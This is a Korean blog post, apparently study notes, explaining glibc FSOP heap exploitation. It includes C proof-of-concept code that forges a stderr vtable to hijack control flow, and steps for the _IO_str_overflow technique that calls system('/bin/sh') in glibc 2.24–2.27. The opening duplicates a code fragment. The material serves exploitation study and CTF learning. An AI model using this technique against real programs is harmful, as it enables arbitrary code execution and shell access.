stderr->_IO_write_ptr = 1;    stderr->_IO_write_base = 0;    printf("[+] Set stderr->_IO_write_ptr > stderr->_IO_write_base\n");     memcpy((char*)stderr+0xd8, &fake_vtable, 8);    printf("[+] Set fake_vtable->_vtable to fake_vtable: %p, %p\n", (uint64_t)stderr+0xd8, *(uint64_t*)(stderr+0xd8));     fflush(stderr);     return 0;  } 
   char * fake_vtable = malloc(0x100);    printf("[+] Create fake_vtable: %p\n", fake_vtable);     size_t hacked_addr = (size_t)&hacked;    printf("[+] Get hacked func address: %p\n", hacked_addr);     memcpy(fake_vtable+0x60, &hacked_addr, 4);    printf("[+] Set fake_vtable->__sync to hacked func address: %p, %p\n", (uint64_t)fake_vtable+0x60, *(uint64_t*)(fake_vtable+0x60)); 

fake vtable 에 hacked 함수 주소를 세팅한다.

   memcpy(&stderr->_flags, "/bin/sh\x00", 8);    printf("[+] Set stderr->_flags to '/bin/sh' stings: %s\n", &stderr->_flags);     stderr->_mode = 0;    printf("[+] Set stderr->_mode to 0\n");     stderr->_IO_write_ptr = 1;    stderr->_IO_write_base = 0;    printf("[+] Set stderr->_IO_write_ptr > stderr->_IO_write_base\n");     memcpy((char*)stderr+0xd8, &fake_vtable, 8);    printf("[+] Set fake_vtable->_vtable to fake_vtable: %p, %p\n", (uint64_t)stderr+0xd8, *(uint64_t*)(stderr+0xd8)); 

stderr 구조체를 조작한다.

   fflush(stderr);  

fsop 트리거


실제로 해보면 hacked 함수가 잘 실행된다고 한다.

glibc 2.24 ~ glibc 2.27 의 fsop

// glibc 2.24 >= version  #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)   #define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)   #define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS))) 

보면 3 번째 메크로에 IO_validate_vtable 이 생겨서 vtable 위치가 유효한지에 대한 검사 과정이 생겼다.

static inline const struct _IO_jump_t *  IO_validate_vtable (const struct _IO_jump_t *vtable)  {    uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;    uintptr_t ptr = (uintptr_t) vtable;    uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;    if (__glibc_unlikely (offset >= section_length))      _IO_vtable_check ();    return vtable;  } 
void attribute_hidden _IO_vtable_check (void)  {     if (flag == &_IO_vtable_check)       return;     {       Dl_info di;       struct link_map *l;       if (!rtld_active () || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE))         return;     }     __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");  } 

vtable 이 __libc_IO_vtables 섹션내에 존재하지 않으면 Fatal Error 와 함께 프로그램을 종료함.

이를 우회하려면

  1. 조작해야 하는 값이 많다.
  2. _IO_FILE 구조체에 있는 값들은 사용되지도 않기 때문에 익스 과정이 복잡하고 귀찮아진다.
  3. 검증에서 사용되는 변수들이 모든 File Stream 구조체에 공통적으로 적용되는 전역변수 값이기 때문에 익스 중간에 stdin 또는 stdout을 이용한 입출력 과정이 존재한다면 익스 준비가 끝나기도 전에 죽어버릴 가능성이 높다.
    등의 문제가 있다.

그래서 검사 함수를 우회하려 하지말고, 올바른 함수 내에서 공격 가능성을 찾아보자는 방법을 찾았고
__libc_IO_vtables 섹션 내에 있는 _IO_str_overflow 와 같은 몇몇 함수들이 __libc_IO_vtables 섹션 외부의 함수들을 함수 포인터를 통해 호출한다는 것을 발견 했다

// glibc 2.27 ≤ version   int _IO_str_overflow (_IO_FILE *fp, int c)  {    int flush_only = c == EOF;    _IO_size_t pos;    if (fp->_flags & _IO_NO_WRITES)      return flush_only ? 0 : EOF;    ...    pos = fp->_IO_write_ptr - fp->_IO_write_base;    if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))    {      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */        return EOF;      else      {        char *new_buf;        char *old_buf = fp->_IO_buf_base;        size_t old_blen = _IO_blen (fp);       _IO_size_t new_size = 2 * old_blen + 100;       if (new_size < old_blen)         return EOF;      new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);       ... 

_IO_str_overflow 함수의 내부이다.

     new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);  

fp->_s._allocate_buffer 에 위치한 값을 함수 포인터로 사용하여 외부 함수를 호출한다.

   if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))    ... 	  size_t old_blen = _IO_blen (fp);       _IO_size_t new_size = 2 * old_blen + 100;       ... 	 new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);  

_IO_blen_ 매크로 함수를 통해 설정되는 new_size 값이 인자로 들어감

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base) 
struct _IO_FILE {    ...    char* _IO_buf_base; /* Start of reserve area. */    char* _IO_buf_end; /* End of reserve area. */    ...  }; 

_IO_blen 함수는 fp->_IO_buf_endfp->_IO_buf_base 값에 영향을 받는다.

즉, fp->_IO_buf_endfp->_IO_buf_base 값을 조작 후 _IO_str_overflow 를 호출 할 수 있다면
임의의 함수의 첫번째 인자에 원하는 값을 넣어 호출할 수 있다.

정리하면 다음과 같다.

1._IO_2_1_std???_->_vtable값을 _IO_str_jumps vtable로 조작
2._IO_blen 매크로를 통해 초기화 되는 new_size의 값을 “/bin/sh” 문자열의 주소로 변경
3._IO_2_1_std???_->_s._allocate_buffer의 값을 system 함수의 주소로 변경

이러면 system(“/bin/sh”) 가 실행된다

glibc 2.28 이상에서의 fsop

// glibc 2.27 ≤ version   int _IO_str_overflow (_IO_FILE *fp, int c)  {       ...       new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);        ... 

요랬던게

// glibc 2.28 ≥ version  int _IO_str_overflow (FILE *fp, int c)  {     ...     new_buf = malloc (new_size);     ... 

요렇게 되어버렸다
더이상 위의 공격이 불가능해졌다.

하지만 사람들은 방법을 찾아 냈는데

_IO_FILE 구조체에 존재하는 _IO_wide_data->_wide_vtable 을 통해 호출되는 함수들을 이용하는 방법이다.

이걸 이용한 기법을 house of apple 2 라고 하는데
너무 많이 가는 거 같아서 더 작성하지는 않겠다.
(물론 oz1ng 님의 발표에는 있었다.)

이 글은 옵시디언을 이용해서 작성되었습니다.

728x90
반응형